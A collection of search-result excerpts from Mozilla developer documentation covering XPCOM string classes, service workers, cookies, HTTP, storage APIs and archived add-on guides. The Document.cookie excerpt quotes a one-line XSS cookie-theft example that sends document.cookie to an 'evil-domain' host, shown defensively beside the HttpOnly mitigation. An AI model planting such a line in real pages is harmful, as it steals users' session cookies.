...js_newucstring is the unicode version of the function. 417 js_nextproperty jsapi reference, obsolete, spidermonkey on success, js_nextproperty returns true, with *idp containing the id of the next enumerable own property to visit using iterobj, or jsid_void if there is no such property left to visit. on error, it returns false, and the value left in *idp is undefined. ...
nsACString
self_type [nsacstring] an alias for the type of this class. size_type [pruint32] type used to represent the number of bytes stored in the string. index_type [pruint32] type used to represent an offset into the string. ...
... self_type [nsacstring] an alias for the type of this class. size_type [pruint32] type used to represent the number of bytes stored in the string. index_type [pruint32] type used to represent an offset into the string. ...
...e [pruint32] type used to represent an offset into the string. methods beginreading the beginreading function returns a const pointer to the first element of the string's internal buffer. endreading the endreading function returns a const char_type pointer to the element just beyond the last element of the string's internal buffer. length the length function returns the number of storage units in the string's internal buffer (not including the null-terminator if present). assign the assign family of functions sets the value of a string's internal buffer. replace the replace family of functions sets the value of a string's internal buffer. append the append family of functions appends a value to the end of a string's internal buffer. insert the insert family of...
nsAString
self_type [nsastring] an alias for the type of this class. size_type [pruint32] type used to represent the number of double-byte units stored in the string. index_type [pruint32] type used to represent an offset into the string. ...
... self_type [nsastring] an alias for the type of this class. size_type [pruint32] type used to represent the number of double-byte units stored in the string. index_type [pruint32] type used to represent an offset into the string. ...
... type used to represent an offset into the string. methods beginreading the beginreading function returns a const pointer to the first element of the string's internal buffer. endreading the endreading function returns a const char_type pointer to the element just beyond the last element of the string's internal buffer. length the length function returns the number of storage units in the string's internal buffer (not including the null-terminator if present). assign the assign family of functions sets the value of a string's internal buffer. replace the replace family of functions sets the value of a string's internal buffer. append the append family of functions appends a value to the end of a string's internal buffer. insert the inse...
nsFixedCString
har operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members. ...
...s nscstring data members no public members. ...
...int32) - source @param data fixed-size buffer to be used by the string (the contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters char* data pruint32 storagesize void nsfixedcstring(char*, pruint32, pruint32) - source parameters char* data pruint32 storagesize pruint32 length operator= nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& ...
nsFixedString
operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members. ...
...ring data members no public members. ...
...e @param data fixed-size buffer to be used by the string (the contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters prunichar* data pruint32 storagesize void nsfixedstring(prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 storagesize pruint32 length operator= nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring...
XPCOM glue classes
clarationns_overridens_override is a macro which allows c++ code in mozilla to specify that a method is intended to override a base class method. if there is no base class method with the same signature, a compiler with static-checking enabled will fail to compile.ns_postconditionmacrons_preconditionmacronsacstringthe nsacstring abstract class represents a character string composed of single-byte storage units. this class is typically used to represent ascii or utf-8 character arrays.nsacstring (external)class declarationnsacstring_internalclass declarationnsadoptingcstringclass declarationnsadoptingstringclass declarationnsastringthe nsastring abstract class represents a character string composed of double-byte storage units. this class is typically used to represent unicode character arrays.nsa...
...these routines allow easy access to xpcom'...
...these routines allow easy access to xpcom's global nsimemory implementation without having to go through the service manager to get it.nspromiseflatcstringclass declarationns...
nsITraceableChannel
d onwards. /////// start - do not edit var {classes: cc, interfaces: ci, results: cr, constructor: cc, utils: cu} = components; cu.import('resource://gre/modules/services.jsm'); var binaryinputstream = cc('@mozilla.org/binaryinputstream;1', 'nsibinaryinputstream', 'setinputstream'); var binaryoutputstream = cc('@mozilla.org/binaryoutputstream;1', 'nsibinaryoutputstream', 'setoutputstream'); var storagestream = cc('@mozilla.org/storagestream;1', 'nsistoragestream', 'init'); function tracinglistener() { this.receivedchunks = []; // array for incoming data. holds chunks as they come, onstoprequest we join these junks to get the full source this.responsebody; // we'll set this to the this.responsestatuscode; this.deferreddone = { promise: null, resolve: null, reject: null }; this.defe...
... var data = istream.readbytes(acount); this.receivedchunks.push(data); ostream.writebytes(data, acount); this.originallistener.ondataavail...
... var data = istream.readbytes(acount); this.receivedchunks.push(data); ostream.writebytes(data, acount); this.originallistener.ondataavailable(arequest, acontext, sstream.newin...
Filelink Providers
the hightail implementation is a great place to look for examples and inspiration. the nsimsgcloudfileprovider implementation must be registered as a component. ...
...the hightail implementation is a great place to look for examples and inspiration. the nsimsgcloudfileprovider implementation must be registered as a component. ...
...the hightail implementation is a great place to look for examples and inspiration. the nsimsgcloudfileprovider implementation must be registered as a component. ...
Debugging service workers - Firefox Developer Tools
utton is available next to the source information (it is disabled when the service worker is stopped). when pressed, this takes you straight to the javascript debugger view of your service worker code, and you can use the full power of the debugger to debug it — stepping through code, etc. ...
... right/ctrl clicking on one of the caches gives you two options: delete all — delete all caches under this origin. delete "name of cache" — delete only the highlighted cache. ...
... right/ctrl clicking on one of the caches gives you two options: delete all — delete all caches under this origin. delete "name of cache" — delete only the highlighted cache. ...
Document.cookie - Web APIs
Web › API › Document › cookie
cial engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascript. read more about cookies and security. notes starting with firefox 2, a better mechanism for client-side storage is available - whatwg dom storage. you can delete a cookie by simply updating its expiration time to zero. keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. this will make each request slower. it is highly recommended for you to use whatwg dom storage if you are going to keep "client-only" data. rfc 2965 (section ...
... should be no maximum length of a cookie's key or value size, and encourages implementations to support arbitrarily large cookies. each browser's implementation maximum will necessarily be different, so consult individual browser documentation. ...
... key or value size, and encourages implementations to support arbitrarily large cookies. each browser's implementation maximum will necessarily be different, so consult individual browser documentation. ...
Document - Web APIs
Web › API › Document
n array of all animation objects currently in effect, whose target elements are descendants of the document. document.getelementsbyclassname() returns a list of elements with the given class name. document.getelementsbytagname() returns a list of elements with the given tag name. document.getelementsbytagnamens() returns a list of elements with the given tag name and namespace. document.hasstorageaccess() returns a promise that resolves with a boolean value indicating whether the document has access to its first-party storage. document.importnode() returns a clone of a node from an external document. document.normalizedocument() replaces entities, normalizes text nodes, etc. document.releasecapture() releases the current mouse capture if it's on an element in this document. do...
... document.routeevent() obsolete since gecko 24 see window.routeevent(). document.mozsetimageelement() allows you to change the element being used as the background image for a specified element id. ...
...ode() returns a clone of a node from an external document. document.normalizedocument() replaces entities, normalizes text nodes, etc. document.releasecapture() releases the current mouse capture if it's on an element in this document. document.releaseevents() see window.releaseevents(). document.requeststorageaccess() returns a promise that resolves if the access to first-party storage was granted, and rejects if access was denied. document.routeevent() obsolete since gecko 24 see window.routeevent(). document.mozsetimageelement() allows you to change the element being used as the background image for a specified element id. the document interface is extended with the parentnode interface: document.getelementbyid(string id) returns an object reference to the ident...
HTMLBodyElement - Web APIs
code to be called when the popstate event is raised. windoweventhandlers.onrejectionhandled an eventhandler representing the code executed when the rejectionhandled event is raised, indicating that a promise was rejected and the rejection has been handled. globaleventhandlers.onresize is an eventhandler representing the code to be called when the resize event is raised. windoweventhandlers.onstorage is an eventhandler representing the code to be called when the storage event is raised. windoweventhandlers.onunhandledrejection an eventhandler representing the code executed when the unhandledrejection event is raised, indicating that a promise was rejected but the rejection was not handled. windoweventhandlers.onunload is an eventhandler representing the code to be called when the unload ...
...d event is raised. specifications specification status comment html living standardthe definition of 'htmlbodyelement' in that specification. living standard technically, the event-related properties onafterprint, onbeforeprint, onbeforeunload, onblur, onerror, onfocus, onhashchange, onlanguagechange, onload, onmessage, onoffline, ononline, onpopstate, onresize, onstorage, and onunload, have been moved to windoweventhandlers. htmlbodyelement implements this interface. html 5.1the definition of 'htmlbodyelement' in that specification. recommendation html5the definition of 'htmlbodyelement' in that specification. recommendation the following properties are now obsolete: alink, bgcolor, background, link, text, and vlink. the followi...
...commendation html5the definition of 'htmlbodyelement' in that specification. recommendation the following properties are now obsolete: alink, bgcolor, background, link, text, and vlink. the following properties have been added: onafterprint, onbeforeprint, onbeforeunload, onblur, onerror, onfocus, onhashchange, onload, onmessage, onoffline, ononline, onpopstate, onresize, onstorage, and onunload. document object model (dom) level 2 html specificationthe definition of 'htmlbodyelement' in that specification. obsolete no change from document object model (dom) level 1 specification. document object model (dom) level 1 specificationthe definition of 'htmlbodyelement' in that specification. obsolete initial definition. ...
Service Worker API - Web APIs
you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available). a service worker is run in a worker context: it therefore has no dom access, and runs on a different thread to the main javascript that powers your app, so it is non-blocking. it is designed to be fully async; as a consequence, apis such as synchronous xhr and localstorage can't be used inside a service worker. service workers only run over https, for security reasons. having modified network requests, wide open to man in the middle attacks would be really bad. in firefox, service worker apis are also hidden and cannot be used when the user is in private browsing mode. note: service workers win over previous attempts in this area such as; appcache because they d...
...es to be loaded, the new service worker activates (becoming the active worker). activation can happen sooner using serviceworkerglobalscope.skipwaiting() and existing pages can be claimed by the active worker using clients.claim(). you can listen for the installevent; a standard action is to prepare your service worker for usage when this fires, for example by creating a cache using the built in storage api, and placing assets inside it that you'll want for running your app offline. there is also an activate event. the point where this event fires is generally a good time to clean up old caches and other things associated with the previous version of your service worker. your service worker can respond to requests using the fetchevent event. you can modify the response to these requests in any...
... to make use of the service worker context, for example: background synchronization: start up a service worker even when no users are at the site, so caches can be updated, etc. reacting to push messages: start up a service worker to send users a message to tell them new content is available. reacting to a particular time & date. entering a geo-fence. interfaces cache represents the storage for request / response object pairs that are cached as part of the serviceworker life cycle. cachestorage represents the storage for cache objects. it provides a master directory of all the named caches that a serviceworker can access, and maintains a mapping of string names to corresponding cache objects. client represents the scope of a service worker client. a service worker client is ...
WindowOrWorkerGlobalScope.caches - Web APIs
example the following example shows how you'd use a cache in a service worker context to store assets offline. ...
... example the following example shows how you'd use a cache in a service worker context to store assets offline. ...
... example the following example shows how you'd use a cache in a service worker context to store assets offline. ...
Event reference
ression has been terminated (not due to an error). error progression has failed. load progression has been successful. loadend progress has stopped (after "error", "abort", or "load" have been dispatched). loadstart progress has begun. progress in progress. timeout progression is terminated due to preset time expiring. ...
.... error progression has failed. load progression has been successful. loadend progress has stopped (after "error", "abort", or "load" have been dispatched). loadstart progress has begun. progress in progress. timeout progression is terminated due to preset time expiring. storage events change (see non-standard events) storage update events checking downloading error noupdate obsolete updateready value change events broadcast checkboxstatechange hashchange input radiostatechange readystatechange valuechange uncategorized events invalid message message open show less common and non-standard events abortable fetch events event name fired when abort a dom request is aborted, i.e. using...
...edia the user agent is trying to fetch media data, but data is unexpectedly not forthcoming. start event web speech api the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition. start speechsynthesisevent web speech api the utterance has begun to be spoken. storage storageevent web storage a storage area (localstorage or sessionstorage) has changed. submit event dom l2, html5 a form is submitted. success event indexeddb a request successfully completed. suspend event html5 media media data loading has been suspended. svgabort svgevent svg page loading has been stopped before th...
HTML5 - Developer guides
Web › Guide › HTML › HTML5
friends and often shortened to just html5. designed to be usable by all open web developers, this reference page links to numerous resources about html5 technologies, classified into several groups based on their function. semantics: allowing you to describe more precisely what your content is. connectivity: allowing you to communicate with the server in new and innovative ways. offline and storage: allowing webpages to store data on the client-side locally and operate offline more efficiently. multimedia: making video and audio first-class citizens in the open web. 2d/3d graphics and effects: allowing a much more diverse range of presentation options. performance and integration: providing greater speed optimization and better usage of computer hardware. device access: allowing for the...
...sent events allows a server to push events to a client, rather than the classical paradigm where the server could send data only in response to a client's request. webrtc this technology, where rtc stands for real-time communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application. offline & storage offline resources: the application cache firefox fully supports the html5 offline resource specification. most others have offline resource support at some level. online and offline events firefox 3 supports whatwg online and offline events, which let applications and extensions detect whether or not there's an active internet connection, as well as to detect when the connection goes up and...
...fox fully supports the html5 offline resource specification. most others have offline resource support at some level. online and offline events firefox 3 supports whatwg online and offline events, which let applications and extensions detect whether or not there's an active internet connection, as well as to detect when the connection goes up and down. whatwg client-side session and persistent storage (aka dom storage) client-side session and persistent storage allows web applications to store structured data on the client side. indexeddb indexeddb is a web standard for the storage of significant amounts of structured data in the browser and for high performance searches on this data using indexes. using files from web applications support for the new html5 file api has been added to geck...
Using HTTP cookies - HTTP
Web › HTTP › Cookies
ogged-in, for example. it remembers stateful information for the stateless http protocol. cookies are mainly used for three purposes: session management logins, shopping carts, game scores, or anything else the server should remember personalization user preferences, themes, and other settings tracking recording and analyzing user behavior cookies were once used for general client-side storage. ...
...poses: session management logins, shopping carts, game scores, or anything else the server should remember personalization user preferences, themes, and other settings tracking recording and analyzing user behavior cookies were once used for general client-side storage. while this was legitimate when they were the only way to store data on the client, it is now recommended to use modern storage apis. cookies are sent with every request, so they can worsen performance (especially for mobile data connections). modern apis for client storage are the web storage api (localstorage and sessionstorage) and indexeddb. to see stored cookies (and other storage that a web page can use), you can enable the storage inspector in developer tools and select cookies from the storage tree. creating c...
...e bulk of your service without receiving cookies. there may be other regulations governing the use of cookies in your locality. the burden is on you to know and comply with these regulations. there are companies that offer "cookie banner" code that helps you comply with these regulations. other ways to store information in the browser another approach to storing data in the browser is the web storage api. the window.sessionstorage and window.localstorage properties correspond to session and permanent cookies in duration, but have larger storage limits than cookies, and are never sent to a server. more structured and larger amounts of data can be stored using the indexeddb api, or a library built on it. other techniques have been created to cause cookies to be recreated after they are deleted...
HTTP Index - HTTP
Web › HTTP › Index
tor. such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when preventing to lose updates when uploading or modifying a document on the server. 45 http cookies advertising, browser, cookies, cookies article, guide, http, history, javascript, privacy, protocols, server, storage, web development, data, request, tracking an http cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser. the browser may store it and send it back with the next request to the same server. 46 http headers http, http header, headers, networking, overview, reference http headers let the client and the server pass additi...
...rol general-header field is used to specify directives for caching mechanisms in both requests and responses. caching directives are unidirectional, meaning that a given directive in a request is not implying that the same directive is to be given in the response. 68 clear-site-data http, http header, reference, header the clear-site-data header clears browsing data (cookies, storage, cache) associated with the requesting website. it allows web developers to have more control over the data stored locally by a browser for their origins. 69 connection http, headers, reference, web the connection general header controls whether or not the network connection stays open after the current transaction finishes. if the value sent is keep-alive, the connection is ...
... 506 variant also negotiates http, server error, status code the hypertext transfer protocol (http) 506 variant also negotiates response status code may be given in the context of transparent content negotiation (see rfc 2295). this protocol enables a client to retrieve the best variant of a given resource, where the server supports multiple variants. 268 507 insufficient storage http, server error, status code the hypertext transfer protocol (http) 507 insufficient storage response status code may be given in the context of the web distributed authoring and versioning (webdav) protocol (see rfc 4918). 269 508 loop detected 508, http, server error, status code the hypertext transfer protocol (http) 508 loop detected response status code may...
Web video codec guide - Web media technologies
ess it significantly in order to store it, let alone transmit it over a network. imagine the amount of data needed to store uncompressed video: a single frame of high definition (1920x1080) video in full color (4 bytes per pixel) is 8,294,400 bytes. at a typical 30 frames per second, each second of hd video would occupy 248,832,000 bytes (~249 mb). a minute of hd video would need 14.93 gb of storage. a fairly typical 30 minute video conference would need about 447.9 gb of storage, and a 2-hour movie would take almost 1.79 tb (that is, 1790 gb). not only is the required storage space enormous, but the network bandwidth needed to transmit an uncompressed video like that would be enormous, at 249 mb/sec—not including audio and overhead. this is where video codecs come in. just as audio cod...
...ecoded and played back or edited. most video codecs are lossy, in that the decoded video does not precisely match the source. some details may be lost; the amount of loss depends on the codec and how it's configured, but as a general rule, the more compression you achieve, the more loss of detail and fidelity will occur. some lossless codecs do exist, but they are typically used for archival and storage for local playback rather than for use on a network. this guide introduces the video codecs you're most likely to encounter or consider using on the web, summaries of their capabilities and any compatibility and utility concerns, and advice to help you choose the right codec for your project's video. common codecs the following video codecs are those which are most commonly used on the web. fo...
...ed portions of the image (that is, where colors are pure and intense, such as a bright, pure red [rgba(255, 0, 0, 1)]), color depths below 10 bits per component (10-bit color) allow banding, where gradients cannot be represented without visible stepping of the colors. depending on the codec, higher color depths may result in larger compressed file sizes. the determining factor is what internal storage format is used for the compressed data. frame rate primarily affects the perceived smoothness of the motion in the image. to a point, the higher the frame rate, the smoother and more realistic the motion will appear. eventually the point of diminishing returns is reached. see frame rate below for details. assuming the frame rate is not reduced during encoding, higher frame rates ca...
Displaying annotations - Archive of obsolete content
js first, initialize an array to hold workers associated with the matcher's content scripts: var matchers = []; in the main function, add the code to create the matcher: var matcher = pagemod.pagemod({ include: ['*'], contentscriptwhen: 'ready', contentscriptfile: [data.url('jquery-1.4.2.min.js'), data.url('matcher.js')], onattach: function(worker) { if(simplestorage.storage.annotations) { worker.postmessage(simplestorage.storage.annotations); } worker.port.on('show', function(data) { annotation.content = data; annotation.show(); }); worker.port.on('hide', function() { annotation.content = null; annotation.hide(); }); worker.on('detach', function () { detachworker(this, matchers); }); matcher...
..., hide and detach - that the content script might send adds the worker to an array, so we it can send messages back later. then in the module's scope implement a function to update the matcher's workers, and edit handlenewannotation to call this new function when the user enters a new annotation: function updatematchers() { matchers.foreach(function (matcher) { matcher.postmessage(simplestorage.storage.annotations); }); } function handlenewannotation(annotationtext, anchor) { var newannotation = new annotation(annotationtext, anchor); simplestorage.storage.annotations.push(newannotation); updatematchers(); } annotation panel the annotation panel just shows the content of an annotation. there are two files associated with the annotation panel: a simple html file to use as ...
Overview - Archive of obsolete content
ree panels. the widget is used to switch the annotator on and off, and to display a list of all the stored annotations. the annotation-editor panel enables the user to enter a new annotation. the annotation-list panel shows a list of all stored annotations. the annotation panel displays a single annotation. additionally, we use the notifications module to notify the user when the add-on's storage quota is full. working with the dom we'll use two page-mods to interact with the doms of pages that the user has opened. the selector enables the user to choose an element to annotate. it identifies page elements which are eligible for annotation, highlights them on mouseover, and tells the main add-on code when the user clicks a highlighted element. the matcher is responsible for f...
...e matcher is responsible for finding annotated elements: it is initialized with the list of annotations and searches web pages for the elements they are associated with. it highlights any annotated elements that are found. when the user moves the mouse over an annotated element the matcher tells the main add-on code, which displays the annotation panel. working with data we'll use the simple-storage module to store annotations. because we are recording potentially sensitive information, we want to prevent the user creating annotations when in private browsing mode. the simplest way to do this is to omit the "private-browsing" key from the add-on's "package.json" file. if we do this, then the add-on won't see any private windows, and the annotator's widget will not appear in any private wind...
Handling Preferences - Archive of obsolete content
tion on how to do x rather than diving into the preferences list and see if you can find the preference you need. mdc articles and other guides are usually good at specifying the preferences you'll need to use. adding preferences to an extension extensions can read and write firefox preferences and, most importantly, create and manage their own. the preferences system provides a simple, unified storage facility for name / value mappings. when your storage needs are more complicated than this, you'll need more advanced apis that will be discussed in a section further ahead. to add preferences to your extension you should first create a js preferences file that describes the preferences and their default values, although setting defaults is not required. as mentioned earlier, a preference with n...
... the preferences file you need to create should be defaults/preferences/yourextensionname.js, under your extension root. the naming of the js file is not compulsory, but it is the standard most extensions use. note: the purpose of the defaults directory is to hold non-code files your extension needs. in the past we have used this directory to store xslt files for xml transformations and local storage template files (more on this later). it's the best place to put miscellaneous files your extension needs. download this sample hello world using preferences. there are a couple of additions in the makefiles, to include the preference file xulschoolhello.js. the contents of the file are fairly simple: // amount of messages shown to the user. pref("extensions.xulschoolhello.message.count", 0)...
Updating addons broken by private browsing changes - Archive of obsolete content
after reading this document, contact josh matthews with further questions or clarifications, or file a bug if your extension has stopped working due to a change described here and you are having trouble updating it. ...
...tion, which passes an nsisupportscstring subject for the guid or null. nsihttpauthmanager: setauthidentity and getauthidentity now take an optional boolean parameter to indicate whether the identity is classified as private. nsistricttransportsecurityservice: processstsheader, removestsstate, isstshost, and isstsuri now take a flags parameter that understands nsisocketprovider.no_permanent_storage or nothing. nsiprivatebrowsingservice: this service is deprecated, and as of firefox 20 it is now an empty interface. if your code depends on this interface, it will break. the global private browsing service is actively being removed, and may not even exist as of firefox 21. nsirecentbadcertsservice: this is no longer a global service, and has been renamed to nsirecentbadcerts. to obtain thi...
Download Manager improvements in Firefox 3 - Archive of obsolete content
in addition, you can augment or replace the download manager's user interface by implementing the new nsidownloadmanagerui interface. note: these changes will require some modest revisions to code using the download manager; several methods have had minor changes. ...
... ...
The new nsString class implementation (1999) - Archive of obsolete content
delete(nsstrimpl& adest,pruint32 adestoffset,pruint32 acount); static void truncate(nsstrimpl& adest,pruint32 adestoffset); static print32 compare(const nsstrimpl& adest,const nsstrimpl& asource, print32 acount,prbool aignorecase); }; nsstring the nsstring class is still with us as a subclass (wrapper) of nsstrimpl. by default, nsstrings use a 2-byte ucs2 character storage model. the nsstring class is very lightweight since it gets its functionality from the nsstrimpl static library. in addition to the nsstrimpl api shown above, nsstring, nsautostring and nscstring all offer additional api's (that all degrade to those found in nsstrimpl) for construction, searching and comparison. also note that the new nsstring interface mimics fully the interface in the existing ...
...based buffer. this very useful class allows programmers to take advantage of the nsstring/nsstrimpl implementation, while eliminating heap based allocations. an additional improvement has been made to nsautostring that allows it to use an arbitrarily sized stack based buffer rather than its own internal buffer. this means that you can continue to use efficient (temporary) stack buffers for string storage with the bonus of storage pools that serve your specific need. (sounds complicated, but it's really easy). this class fully interoperates with nsstring and nsstrimpl. nscstring the new nscstring class shares the same api with nsstring, but uses a 1-byte ascii character storage model. this will allow programmers to use the nsstring api's like a standard char* without incurring the 2-byte per chara...
How to implement a custom XUL query processor component - Archive of obsolete content
the templating system also supports building custom query processors. custom query processors are xpcom components, must implement the nsixultemplatequeryprocessor interface and follow some conventions for when registering the component. in this example, we will create a simple javascript xpcom component. ...
...from the beginning of the name v...
2006-11-03 - Archive of obsolete content
aborting a new event/edit event dialog discussions about behaves of new event/edit event. wcap calendar subscription discussions about calendar subscriptions. ...
... aborting a new event/edit event dialog discussions about behaves of new event/edit event. wcap calendar subscription discussions about calendar subscriptions. ...
Introduction to game development for the Web - Game development
let's look at how the web can help you. the reach of the web is enormous; it's everywhere. games built with html5 work on smartphones,...
.... html and css together, these two technologies let you build, style, and lay out your game's user interface. part of html is the <canvas> element, which provides one way to do 2d graphics. html audio the <audio> element lets you easily play simple sound effects and music. if your needs are more involved, check out the web audio api for real audio processing power! indexeddb a powerful data storage api for maintaining user data on their own computer or device. a great way to save game state and other information locally so it doesn't have to be downloaded every time it's needed. also useful to help make your game playable even when the user isn't connected to the web (such as when they're stuck on an airplane for hours on end). javascript javascript, the programming language used on the w...
HTML text fundamentals - Learn web development
ood processor process all the ingredients into a paste if you want a coarse "chunky" hummus, process it for a short time if you want a smooth hummus, process it for a longer time for a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. experiment and see what works for you. storage refrigerate the finished hummus in a sealed container. you should be able to use it for about a week after you've made it. if it starts to become fizzy, you should definitely discard it. hummus is suitable for freezing; you should thaw it and use it within a couple of months.</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" t...
...s into a paste.</li>\n<li>if you want a coarse "chunky" hummus, process it for a short time.</li>\n<li>if you want a smooth hummus, process it for a longer time.</li>\n</ol>\n\n<p>for a different flavour, you could try blending in a small measure of lemon and coriander, chili pepper, lime and chipotle, harissa and mint, or spinach and feta cheese. experiment and see what works for you.</p>\n\n<h2>storage</h2>\n\n<p>refrigerate the finished hummus in a sealed container. you should be able to use it for about a week after you\'ve made it. if it starts to become fizzy, you should definitely discard it.</p>\n\n<p>hummus is suitable for freezing; you should thaw it and use it within a couple of months.</p>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.adde...
Introduction to the server side - Learn web development
-side programming to store account information and allow only authorized users to view and make transactions. other services like facebook, twitter, instagram, and wikipedia use server-side programming to highlight, share, and control access to interesting content. some of the common uses and benefits of server-side programming are listed below. you'll note that there is some overlap! efficient storage and delivery of information imagine how many products are available on amazon, and imagine how many posts have been written on facebook? creating a separate static page for each product or post would be completely impractical. server-side programming allows us to instead store the information in a database and dynamically construct and return html and other types of files (e.g. pdfs, images, et...
...be targeted for the type of client device that is receiving it. because the information is in a database, it can also more easily be shared and updated with other business systems (for example, when products are sold either online or in a shop, the shop might update its database of inventory). note: your imagination doesn't have to work hard to see the benefit of server-side code for efficient storage and delivery of information: go to amazon or some other e-commerce site. search for a number of keywords and note how the page structure doesn't change, even though the results do. open two or three different products. note again how they have a common structure and layout, but the content for different products has been pulled from the database. for a common search term ("fish", say) you...
Handling common JavaScript problems - Learn web development
ct mode in browsers). typed arrays allow javascript code to access and manipulate raw binary data, which is necessary as browser apis for example start to manipulate streams of raw video and audio data. these are available in ie10 and above, and all modern browsers. there are also many new apis appearing in recent browsers, which don't work in older browsers, for example: indexeddb api, web storage api, and others for storing website data on the client-side. web workers api for running javascript in a separate thread, helping to improve performance. webgl api for real 3d graphics. web audio api for advanced audio manipulation. webrtc api for multi-person, real-time video/audio connectivity (e.g. video conferencing). there are a few strategies for handling incompatibilities between bro...
...it is often difficult to drop them in just for one ui feature. normalization libraries: give you a simple syntax that allows you to easily complete a task without having to worry about cross browser differences. the library will manipulate appropriate apis in the background so the functionality will work whatever the browser (in theory). for example, localforage is a library for client-side data storage, which provides a simple syntax for storing and retrieving data. in the background, it uses the best api the browser has available for storing the data, whether that is indexeddb, web storage, or even websql (which is now deprecated, but is still supported in some older versions of safari/ie). as another example, jquery when choosing a library to use, make sure that it works across the set of b...
Error codes returned by Mozilla APIs
ns_error_dom_file_not_found_err (0x80650000) file was not found. ns_error_dom_file_not_readable_err (0x80650001) file could not be read. network errors the following errors can occur when creating connections over the network, or when reading or writing data. ns_binding_failed (0x804b0001) ns_binding_aborted (0...
...luginsnotchanged (0x804c03e8) ns_error_plugin_disabled (0x804c03e9) ns_error_uconv_noconv (0x80500001) ns_error_udec_illegalinput (0x8050000e) ns_imagelib_error_failure (0x80540005) ns_imagelib_error_no_decoder (0x80540006) ns_imagelib_error_not_finished (0x80540007) ns_imagelib_error_load_aborted (0x80540008) ns_error_wont_handle_content (0x805d0001) moz_error_storage_error (0x80630001) ns_error_schemavalidator_no_schema_loaded (0x80640001) ns_error_schemavalidator_no_dom_node_specified (0x80640002) ns_error_schemavalidator_no_type_found (0x80640003) ns_error_schemavalidator_type_not_found (0x80640004) note: there are other errors in these files: gfx/public/nsidevicecontext.h base/public/nsneterror.h parser/htmlparser/public/nsiparser...
Multiple Firefox profiles
ile manager these instructions should be the same for all operating systems. to start the create profile wizard, click "create profile..." in the profile manager. click next and enter the name of the profile. use a profile name that is descriptive, such as your personal name. this name is not exposed to the internet. you can also choose where to store the profile on your computer. to select storage location, click choose folder.... if you choose your folder location for the profile, select a new or empty folder. if you choose a folder that isn't empty, and you later remove the profile and choose the \"delete files\" option, everything inside that folder will be deleted. to create the new profile, click finish. creating a profile through the firefox browser you can create a new firefox ...
...e where the profile will be stored on your computer, click choose folder... to create the new profile, click finish. deleting a profile in the profile manager, select the profile to remove, and click delete profile.... confirm that you wish to delete the profile: don't delete files removes the profile from the profile manager yet retains the profile data files on your computer in the storage folder so that your information is not lost. "don't delete files" is the preferred option, because it saves the old profile's folder, allowing you to recover the files to a new profile. delete files removes the profile and its files, including the profile bookmarks, settings, passwords, etc. warning: if you use the "delete files" option, the profile folder, and files will be dele...
How to implement a custom autocomplete search component
be completed when the user confirms * the match at the given index. * @return {string} the final value of the result at the given index */ getfinalcompletevalueat: function(index) { return this.getvalueat(index); }, /** * removes the value at the given index from the autocomplete results. * if removefromdb is set to true, the value should be removed from * persistent storage as well. */ removevalueat: function(index, removefromdb) { this._results.splice(index, 1); if (this._comments) this._comments.splice(index, 1); }, getlabelat: function(index) { return this._results[index]; }, queryinterface: xpcomutils.generateqi([ ci.nsiautocompleteresult ]) }; /** * @constructor * * @implements {nsiautocompletesearch} */ function providerautoco...
...d be completed when the user confirms * the match at the given index. * @return {string} the final value of the result at the given index */ getfinalcompletevalueat: function(index) { return this.getvalueat(index); }, /** * remove the value at the given index from the autocomplete results. * if removefromdb is set to true, the value should be removed from * persistent storage as well. */ removevalueat: function(index, removefromdb) { this._results.splice(index, 1); this._comments.splice(index, 1); }, queryinterface: function(aiid) { if (!aiid.equals(ci.nsiautocompleteresult) && !aiid.equals(ci.nsisupports)) throw components.results.ns_error_no_interface; return this; } }; // implements nsiautocompletesearch function simpleautocomp...
Profiling with the Firefox Profiler
tup_filters, which is a comma separated list. description of all available environment variables may be printed by starting firefox with moz_profiler_help=1 set. if you want to profile firefox for android, you have to set this environment values by --es option of am command to launch firefox. this example is for firefox nightly (package name is org.mozilla.fennec_aurora), and you have to allow storage access on permission settings before launching it. adb shell am start -n org.mozilla.fennec_aurora/.app \ --es env0 moz_profiler_startup=1 \ --es env1 moz_profiler_shutdown=/sdcard/download/profiler.json then, if you select quit menu, you can collect profiling data to moz_profiler_shutdown file. profiling js benchmark (xpcshell) to profile the script run.js with ionmonkey (-i), type in...
...ly the structure of the layer tree for each composite, but also the rendered textures for each layer. this can be achieved by additionally setting the layers.dump-texture pref to true, or by adding -f layersdump to the profiler command line (the latter implies both the layers.dump and layers.dump-texture prefs). warning: dumping texture data slows performance considerably, and requires a lot of storage for the profile files. expect rendering to happen at a significantly reduced frame rate when profiling this way, and keep the duration of the capture short, to ensure the samples of interest aren't overwritten. here's how the layer tree view looks in cleopatra with texture data: this time, the visualization in right panel shows the actual textures rather than just the outlines of the layers.
NSPR's Position On Abrupt Thread Termination
